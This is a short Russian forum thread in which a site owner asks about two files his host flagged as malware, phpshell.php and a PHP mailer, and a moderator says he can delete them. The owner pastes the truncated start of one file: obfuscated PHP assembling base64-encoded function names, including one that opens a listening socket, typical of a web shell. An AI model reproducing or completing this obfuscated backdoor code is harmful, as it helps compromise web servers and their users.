Помогите разобраться с {HEX}php.defash.buno.401.UNOFFICIAL

Тема в разделе "PHP", создана пользователем Alex237, 24 июл 2018.

  1. Alex237

    Alex237

    Регистрация:
    24 июл 2018
    Сообщения:
    0
    Симпатии:
    0
    Пришло сообщение с хостинга о вредоносном программном обеспечении
    в одном файле
    phpshell.php : {HEX}php.defash.buno.401.UNOFFICIAL
    в другом
    putana.php : {HEX}php.mailer.Mzh.525.UNOFFICIAL
    если эти файлы полностью удалю сайту не поврежу или нужно заменить на что то другое
     
    Последнее редактирование: 24 июл 2018
  2. $iD

    $iD Команда форума

    Регистрация:
    13 мар 2012
    Сообщения:
    3.581
    Симпатии:
    1.482
    предположительно нет, но чтобы наверняка ответить нужно знать что там за движок. ну или хотябы содержимое этих файлов знать
     
  3. Alex237

    Alex237

    Регистрация:
    24 июл 2018
    Сообщения:
    0
    Симпатии:
    0
    я этот сайт купил копаюсь потихоньку в нем изредка а что там за движок я не в курсе сайт www.alex237.ru а содержимое сейчас постараюсь посмотреть
    --- Добавлено, 24 июл 2018 ---
    я не знаю что это
    <? $GLOBALS['_18197574_']=Array(base64_decode('ZXJyb3Jf' .'cmVwb3J0aW' .'5' .'n'),base64_decode('bWljc' .'m90' .'aW1l'),base64_decode('c29ja2V0X2NyZWF0' .'ZV' .'9saXN0' .'Z' .'W4' .'='),base64_decode('b' .'XRfcmFuZ' .'A='
    и там что то в таком ключе очень много строк
    --- Добавлено, 24 июл 2018 ---
    я просто взял и удалил вредоносные папки
     
  4. $iD

    $iD Команда форума

    Регистрация:
    13 мар 2012
    Сообщения:
    3.581
    Симпатии:
    1.482
    можно удалять.